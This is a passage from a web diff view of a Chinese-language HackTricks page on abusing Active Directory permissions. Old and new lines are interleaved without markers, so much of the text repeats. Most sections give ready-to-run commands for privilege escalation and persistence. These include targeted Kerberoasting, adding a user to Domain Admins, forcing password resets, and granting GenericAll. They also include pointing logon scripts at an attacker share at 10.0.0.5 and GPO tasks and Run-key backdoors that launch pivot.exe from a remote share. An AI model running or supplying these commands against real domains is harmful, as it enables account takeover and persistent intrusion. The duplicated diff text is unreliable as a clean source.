* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
**本页主要总结了来自[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)和[https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)的技术。有关更多详细信息,请查看原始文章。**
|
||||
|
||||
**本页主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)** 的技术。有关更多详细信息,请查看原始文章。**
|
||||
|
||||
## **用户的GenericAll权限**
|
||||
|
||||
此权限授予攻击者对目标用户帐户的完全控制。一旦使用`Get-ObjectAcl`命令确认了`GenericAll`权限,攻击者可以:
|
||||
|
||||
- **更改目标的密码**:使用`net user <username> <password> /domain`,攻击者可以重置用户的密码。
|
||||
- **有针对性的Kerberoasting**:将SPN分配给用户帐户以使其可以进行Kerberoasting,然后使用Rubeus和targetedKerberoast.py来提取并尝试破解票据授予票据(TGT)哈希。
|
||||
* **更改目标的密码**:使用`net user <username> <password> /domain`,攻击者可以重置用户的密码。
|
||||
* **有针对性的Kerberoasting**:将SPN分配给用户帐户以使其成为kerberoastable,然后使用Rubeus和targetedKerberoast.py提取并尝试破解票据授予票据(TGT)哈希。
|
||||
```powershell
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
|
||||
.\Rubeus.exe kerberoast /user:<username> /nowrap
|
||||
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
|
||||
```
|
||||
- **目标化ASREPRoasting**: 禁用用户的预身份验证,使其帐户容易受到ASREPRoasting攻击。
|
||||
* **目标化ASREPRoasting**: 禁用用户的预身份验证,使其帐户容易受到ASREPRoasting攻击。
|
||||
```powershell
|
||||
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
|
||||
```
|
||||
## **GenericAll权限对组的影响**
|
||||
这个权限允许攻击者在拥有`GenericAll`权限的组(如`Domain Admins`)上操纵组成员。在使用`Get-NetGroup`识别组的专有名称后,攻击者可以:
|
||||
## **GenericAll Rights on Group**
|
||||
|
||||
- **将自己添加到Domain Admins组中**:可以通过直接命令或使用Active Directory或PowerSploit等模块来完成。
|
||||
此权限允许攻击者在拥有`GenericAll`权限的组(如`Domain Admins`)上操纵组成员。在使用`Get-NetGroup`识别组的专有名称后,攻击者可以:
|
||||
|
||||
- **将自己添加到Domain Admins组**:可以通过直接命令或使用Active Directory或PowerSploit等模块来完成。
|
||||
```powershell
|
||||
net group "domain admins" spotless /add /domain
|
||||
Add-ADGroupMember -Identity "domain admins" -Members spotless
|
||||
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
|
||||
```
|
||||
## **GenericAll / GenericWrite / Write on Computer/User**
|
||||
|
||||
拥有计算机对象或用户帐户上的这些权限允许:
|
||||
|
||||
- **Kerberos基于资源的受限委派**:启用接管计算机对象。
|
||||
- **影子凭据**:使用此技术通过利用特权创建影子凭据来冒充计算机或用户帐户。
|
||||
* **Kerberos基于资源的受限委派**:启用接管计算机对象。
|
||||
* **影子凭据**:利用特权创建影子凭据来冒充计算机或用户帐户。
|
||||
|
||||
## **WriteProperty on Group**
|
||||
|
||||
如果用户对特定组(例如`Domain Admins`)的所有对象具有`WriteProperty`权限,则他们可以:
|
||||
|
||||
- **将自己添加到Domain Admins组**:通过结合`net user`和`Add-NetGroupUser`命令,可以实现此方法,从而在域内提升特权。
|
||||
* **将自己添加到Domain Admins组**:通过结合`net user`和`Add-NetGroupUser`命令,可以实现此方法,从而在域内提升特权。
|
||||
```powershell
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **组中的自身(自我成员资格)**
|
||||
这种权限使攻击者能够通过直接操作组成员资格的命令将自己添加到特定组,例如`Domain Admins`。使用以下命令序列可以实现自我添加:
|
||||
|
||||
此权限使攻击者能够通过直接操作组成员资格的命令将自己添加到特定组,例如`Domain Admins`。使用以下命令序列可以实现自我添加:
|
||||
```powershell
|
||||
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
|
||||
```
|
||||
## **WriteProperty(自我成员资格)**
|
||||
类似的权限,允许攻击者通过修改组属性将自己直接添加到组中,前提是他们对这些组具有`WriteProperty`权限。此权限的确认和执行如下进行:
|
||||
|
||||
类似的权限,允许攻击者通过修改组属性直接将自己添加到组中,前提是他们对这些组具有`WriteProperty`权限。此权限的确认和执行如下进行:
|
||||
```powershell
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
net group "domain admins" spotless /add /domain
|
||||
```
|
||||
## **ForceChangePassword**
|
||||
持有用户的`ExtendedRight`权限用于`User-Force-Change-Password`允许在不知道当前密码的情况下重置密码。可以通过PowerShell或替代命令行工具验证此权限并利用它,提供了几种重置用户密码的方法,包括交互式会话和非交互式环境的一行命令。这些命令从简单的PowerShell调用到在Linux上使用`rpcclient`,展示了攻击向量的多样性。
|
||||
|
||||
在用户上持有`ExtendedRight`的`User-Force-Change-Password`权限允许在不知道当前密码的情况下重置密码。可以通过PowerShell或替代命令行工具验证此权限并利用它,提供了几种重置用户密码的方法,包括交互式会话和非交互式环境的一行命令。这些命令从简单的PowerShell调用到在Linux上使用`rpcclient`,展示了攻击向量的多样性。
|
||||
```powershell
|
||||
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainUserPassword -Identity delegate -Verbose
|
||||
|
@ -85,19 +83,22 @@ rpcclient -U KnownUsername 10.10.10.192
|
|||
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
|
||||
```
|
||||
## **在组上使用WriteOwner**
|
||||
|
||||
如果攻击者发现他们对一个组拥有`WriteOwner`权限,他们可以将该组的所有权更改为自己。当涉及的组是`Domain Admins`时,这将产生重大影响,因为更改所有权允许对组属性和成员资格进行更广泛的控制。该过程涉及通过`Get-ObjectAcl`识别正确的对象,然后使用`Set-DomainObjectOwner`通过SID或名称修改所有者。
|
||||
```powershell
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
|
||||
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
|
||||
```
|
||||
## **用户的GenericWrite权限**
|
||||
这个权限允许攻击者修改用户属性。具体来说,通过`GenericWrite`访问权限,攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这可以通过使用`Set-ADObject`命令来更新目标用户的`scriptpath`属性,将其指向攻击者的脚本来实现。
|
||||
## **用户上的GenericWrite**
|
||||
|
||||
此权限允许攻击者修改用户属性。具体来说,通过`GenericWrite`访问权限,攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这可以通过使用`Set-ADObject`命令来更新目标用户的`scriptpath`属性,使其指向攻击者的脚本来实现。
|
||||
```powershell
|
||||
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||
```
|
||||
## **组上的GenericWrite**
|
||||
拥有这个权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。这个过程涉及创建凭据对象,使用它向组中添加或移除用户,并使用PowerShell命令验证成员资格的更改。
|
||||
## **组上的GenericWrite权限**
|
||||
|
||||
具有此权限的攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。该过程涉及创建凭据对象,使用它向组中添加或移除用户,并使用PowerShell命令验证成员资格更改。
|
||||
```powershell
|
||||
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
|
||||
|
@ -106,7 +107,8 @@ Get-DomainGroupMember -Identity "Group Name" | Select MemberName
|
|||
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
|
||||
```
|
||||
## **WriteDACL + WriteOwner**
|
||||
拥有对AD对象的所有权并具有`WriteDACL`权限使攻击者能够授予自己对该对象的`GenericAll`权限。这是通过ADSI操作实现的,允许完全控制对象并能够修改其组成员资格。尽管如此,在尝试使用Active Directory模块的`Set-Acl` / `Get-Acl`命令时,存在一些限制。
|
||||
|
||||
拥有AD对象并具有对其的`WriteDACL`权限使攻击者能够授予自己对该对象的`GenericAll`权限。这是通过ADSI操作实现的,允许完全控制对象并能够修改其组成员资格。尽管如此,在尝试使用Active Directory模块的`Set-Acl` / `Get-Acl`命令时,存在一些限制。
|
||||
```powershell
|
||||
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
|
||||
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
|
||||
|
@ -115,35 +117,20 @@ $ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
|
|||
$ADSI.psbase.commitchanges()
|
||||
```
|
||||
## **域上的复制(DCSync)**
|
||||
DCSync攻击利用域上的特定复制权限模仿域控制器并同步数据,包括用户凭据。这种强大的技术需要像`DS-Replication-Get-Changes`这样的权限,允许攻击者从AD环境中提取敏感信息,而无需直接访问域控制器。
|
||||
[**在此了解有关DCSync攻击的更多信息。**](../dcsync.md)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
DCSync攻击利用域上的特定复制权限模仿域控制器并同步数据,包括用户凭据。这种强大的技术需要像`DS-Replication-Get-Changes`这样的权限,允许攻击者从AD环境中提取敏感信息,而无需直接访问域控制器。[**在这里了解更多关于DCSync攻击的信息。**](../dcsync.md)
|
||||
|
||||
## GPO委派 <a href="#gpo-delegation" id="gpo-delegation"></a>
|
||||
|
||||
### GPO委派
|
||||
|
||||
委派访问以管理组策略对象(GPO)可能存在重大安全风险。例如,如果像`offense\spotless`这样的用户被委派GPO管理权限,他们可能具有**WriteProperty**、**WriteDacl**和**WriteOwner**等权限。这些权限可能被滥用用于恶意目的,可以使用PowerView进行识别:
|
||||
```bash
|
||||
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
```
|
||||
委派访问以管理组策略对象(GPO)可能存在重大安全风险。例如,如果像`offense\spotless`这样的用户被委派了GPO管理权限,他们可能拥有**WriteProperty**、**WriteDacl**和**WriteOwner**等权限。这些权限可能被滥用用于恶意目的,可以使用PowerView进行识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
### 枚举GPO权限
|
||||
|
||||
为了识别配置错误的GPO,可以链接PowerSploit的cmdlet。这允许发现特定用户有权限管理的GPO:
|
||||
```powershell
|
||||
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
|
||||
```
|
||||
为了识别配置错误的GPO,可以链接PowerSploit的cmdlets。这允许发现特定用户有权限管理的GPO:`powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
|
||||
|
||||
**应用了特定策略的计算机**:可以确定特定GPO适用于哪些计算机,帮助了解潜在影响的范围。
|
||||
```powershell
|
||||
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
|
||||
```
|
||||
**应用了特定策略的计算机**:可以确定特定GPO适用于哪些计算机,帮助了解潜在影响的范围。`powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
|
||||
|
||||
**应用于特定计算机的策略**:要查看应用于特定计算机的策略,可以使用`Get-DomainGPO`等命令。
|
||||
|
||||
|
@ -151,13 +138,13 @@ Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -A
|
|||
|
||||
### 滥用GPO - New-GPOImmediateTask
|
||||
|
||||
可以利用配置错误的GPO来执行代码,例如,通过创建即时计划任务。这可以用于将用户添加到受影响计算机上的本地管理员组,显著提升权限:
|
||||
可以利用配置错误的GPO来执行代码,例如,通过创建即时计划任务。这可以用来将用户添加到受影响计算机上的本地管理员组,显著提升权限:
|
||||
```powershell
|
||||
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
|
||||
```
|
||||
### GroupPolicy 模块 - 滥用 GPO
|
||||
|
||||
GroupPolicy 模块(如果已安装)允许创建和链接新的 GPO,并设置偏好,如注册表值以在受影响的计算机上执行后门。此方法需要更新 GPO 并要求用户登录计算机以执行:
|
||||
GroupPolicy 模块(如果已安装)允许创建和链接新的 GPO,并设置偏好设置,如注册表值以在受影响的计算机上执行后门。此方法需要更新 GPO 并要求用户登录计算机以执行:
|
||||
```powershell
|
||||
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
|
||||
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
|
||||
|
@ -170,13 +157,13 @@ SharpGPOAbuse 提供了一种滥用现有 GPO 的方法,通过添加任务或
|
|||
```
|
||||
### 强制策略更新
|
||||
|
||||
GPO 更新通常每 90 分钟发生一次。为了加快这一过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令来强制立即更新策略。该命令确保对 GPO 的任何修改都会立即生效,而不必等待下一次自动更新周期。
|
||||
GPO 更新通常每 90 分钟发生一次。为了加快这一过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令来强制立即更新策略。该命令确保对 GPO 的任何修改都会在等待下一个自动更新周期之前应用。
|
||||
|
||||
### 内部机制
|
||||
|
||||
检查给定 GPO 的计划任务时,如 `Misconfigured Policy`,可以确认是否添加了诸如 `evilTask` 等任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
|
||||
|
||||
任务的结构,如通过 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体内容 - 包括要执行的命令及其触发器。该文件展示了如何在 GPO 中定义和管理计划任务,提供了执行任意命令或脚本作为策略执行一部分的方法。
|
||||
任务的结构,如通过 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体内容 - 包括要执行的命令及其触发器。该文件展示了如何在 GPO 中定义和管理计划任务,提供了执行任意命令或脚本作为策略执行的方法。
|
||||
|
||||
### 用户和组
|
||||
|
||||
|
@ -184,7 +171,7 @@ GPO 还允许在目标系统上操作用户和组成员资格。通过直接编
|
|||
|
||||
用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,特定用户可以在受影响的系统中获得提升的权限。这种方法通过 GPO 操纵提供了特权升级的直接途径。
|
||||
|
||||
此外,还可以考虑其他执行代码或保持持久性的方法,例如利用登录/注销脚本、修改注册表键以进行自启动、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 来保持访问权限和控制目标系统的各种途径。
|
||||
此外,还可以考虑其他执行代码或保持持久性的方法,例如利用登录/注销脚本、修改注册表键以进行自启动、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 来保持访问并控制目标系统的各种途径。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -195,23 +182,3 @@ GPO 还允许在目标系统上操作用户和组成员资格。通过直接编
|
|||
* [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
|
||||
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
|
||||
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的 **公司在 HackTricks 中做广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue